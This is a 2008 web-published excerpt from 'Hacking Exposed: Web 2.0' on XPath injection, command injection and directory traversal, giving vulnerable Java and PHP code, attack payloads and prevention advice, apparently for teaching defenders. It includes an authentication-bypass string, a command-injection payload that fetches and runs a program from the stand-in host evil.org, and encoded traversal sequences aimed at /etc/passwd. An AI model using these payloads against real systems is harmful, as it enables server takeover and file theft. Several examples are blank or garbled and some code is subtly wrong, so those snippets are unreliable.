XPath, command and directory traversal injection attacks

Learn about XPath, command and directory traversal injection attacks and how they might affect your customer's network.

This is a continuation of a chapter excerpt from Hacking Exposed: Web 2.0 about common injection attacks. In our previous section, you learned how the mechanics of injection attacks work and how to deal with a SQL injection. In this chapter, you'll learn about the less common injection attacks -- XPath, command and directory traversal.

XPath Injection

Popularity: 5
Simplicity: 7
Impact: 9
Risk Rating: 8

When sensitive data is stored in XML rather than an SQL database, Attackers can use XPath injection to do anything from circumventing authentication to reading and writing data on the remote system.

XML documents are getting so complex that they are no longer human readable—which was one of the original advantages of XML. To sort through complex XML documents, developers created the XPath language. XPath is a query language for XML documents, much like SQL is a query language for databases. Like SQL, XPath also has injection issues.

Consider the following XML document identifying IDs, usernames, and passwords for a web application:

<user> <id> 1 </id>
<username> admin </username>
<password> xpathr00lz </password>
<id> 2 </id>
<username> testuser </username>
<password> test123 </password>
<id> 3 </id>
<username> lonelyhacker15 </username>
<password> mypassword </password>

A developer could perform an authentication routine with the following Java code:

String username = req.getParameter("username");
String password = req.getParameter("password");
XPathFactory factory = XPathFactory.newInstance();
XPath xpath = factory.newXPath();
File file = new File("/usr/webappdata/users.xml");
InputSource src = new InputSource(new FileInputStream(file));
XPathExpression expr = xpath.compile("//users[username/text()=' " +
username + " ' and password/text()=' "+ password +" ']/id/text()");
String id = expr.evaluate(src);

This code loads up the XML document and queries for the ID associated with the provided username and password. Assuming the username was admin and the password was xpathr00lz, the XPath query would be this:

//users[username/text()='admin' and password/text()='xpathr00lz']/id/text()

Notice that the user input is not escaped in the Java code, so an attacker can place any data or XPath instructions in this XPath query, such as setting the password to ' or '1'='1; the query would then be this:

//users[username/text()='admin' and password/text()='' or '1'='1' ]/id/text()

This query would find the ID where the username is admin and the password is either null (which is high unlikely) or 1=1 (which is always true). Thus, injecting ' or '1'='1 returns the ID for the administrator without the attacker knowing the administrator's password.

Note that XPath is a subset of a larger XML querying language called XQuery. Like XPath and SQL, XQuery possess identical injection problems. With a little knowledge of XQuery syntax and after reading this chapter, you should have sufficient knowledge to be able to test for XQuery injections, too.

Preventing XPath Injection

The process for fixing XPath injection is nearly identical to that for fixing SQL injections. Namely, constrain data types and escape strings. In this case, you must escape with HTML entity encodings. For example, an apostrophe is escaped to &apos. As noted earlier, use the appropriate escape routine accompanying the XPath library you are using, as XPath implementations differ.

Command Injection

Popularity: 8
Simplicity: 8
Impact: 10
Risk Rating: 10

A successful command injection attack gives the attacker complete control of the remote system. When user input is used as part of a system command, an attack may be able to inject system commands into the user input. This can happen in any programming language; however, it is very common in Perl, PHP, and shell based CGI. It is less common in Java, Phython, and C#. Consider the following PHP code snippet:

$email_subject = "some subject";
if ( isset($_GET{'email'})) {
system("mail " + $_GET{'email'}) + " -s '" + $email_subject +
"' < /tmp/email_body", $return_val);

The user sends his or her e-mail address in the email parameter, and that user input is placed directly into a system command. Like SQL injection, the goal of the attacker is to inject a shell command into the email parameter while ensuring that the code before and after the email parameter is syntactically correct. Consider the system() call as a puzzle. The outer puzzle pieces are in place, and the attacker must find a puzzle piece in the middle to finish it off:

mail [MISSING PUZZLE PIECE] –s 'some subject' < /tmp/email_body 

The puzzle piece needs to ensure that the mail command runs and exits properly. For example, mail –help will run and exit properly. Then the attacker could add additional shell commands by separating the commands with semicolons (;). Dealing with the puzzle piece on the other side is as simple as commenting it out with the shell comment symbol (#). Thus, a useful puzzle piece for the email parameter might be this:

--help; wget http://evil.org/attack_program; ./attack_program #

Adding this puzzle piece to the puzzle creates the following shell command:

mail --help; wget http://evil.org/attack_program;
./attack_program # s 'some subject' < /tmp/email_body

This is equivalent to this:


This runs mail –help and then downloads attack_program from evil.org and executes it, allowing the attacker to perform arbitrary commands on the vulnerable web site.

Preventing Command Injection

Preventing command injection is similar to preventing SQL injection. The developer must escape the user input appropriately before running a command with that input. It may seem like escaping semicolon (;) to backslash-semicolon (;) would fix the problem. However, the attacker could use double-ampersand (&&) or possibly double-bar (||) instead of the semicolon. The escaping routine is heavily dependent on the shell executing the command. So developers should use an escape routine for the shell command rather than creating their own routine.

Directory Traversal Attacks

Popularity: 9
Simplicity: 9
Impact: 8
Risk Rating: 8

Attackers use directory traversal attacks to read arbitrary files on web servers, such as SSL private keys and password files.

Some web applications open files based on HTTP parameters (user input). Consider this simple PHP application that displays a file in many languages:

$language = "main-en";
if (is_set($_GET['language']))
$language = $_GET['language'];
include("/usr/local/webapp/static_files/" . $language . ".html");?>

Assume that this PHP page is accessible through http://foo.com/webapp/static.php?language=main-en; an attacker can read arbitrary files from the web server by inserting some string to make the include function point to a different file. For instance, if an attacker made these GET requests,

the include function would open this file:
This file is simply

Thus, the GET request would return the contents of /etc/passwd on the server. Note that the null byte (%00) ends the string, so .html would not be concatenated to the end of the filename.

This type of attack is called a directory traversal attack, and it has plagued many web servers for some time, because attackers would URL encode the ../ segments in various ways, such as these:

• %2e%2e%2f
• %2e%2e/
• ..%2f
• .%2e/

Directory Traversal Attacks

Today, some web application frameworks automatically protect against directory traversal attacks. For example, PHP has a setting called magic_quotes_gpc, which is on by default. This setting "magically" escapes suspicious characters in GETs, POSTs, and cookies with a backslash. Thus, the character / is escaped to /, which stops this attack. Other web application frameworks do not have general protection mechanisms, and it is up to the developer to protect against these problems.

To protect your application from directory traversal attacks, whitelist the acceptable files—that is,

$languages = array('main-en','main-fr','main-ru');
$language = $languages[1];
$tmp = $_GET['language'];
if (array_search($tmp, $languages))
$language = $tmp; include("/usr/local/webapp/static_files/" . $language . ".html");

Hacking Exposed: Web 2.0
  Introduction and SQL injections
  XPath, command and directory traversal injections
  XXE, LDAP and buffer overflow injections
  Testing for injection attacks
This was first published in March 2008

Dig Deeper on Threat management and prevention






Forgot Password?


Your password has been sent to: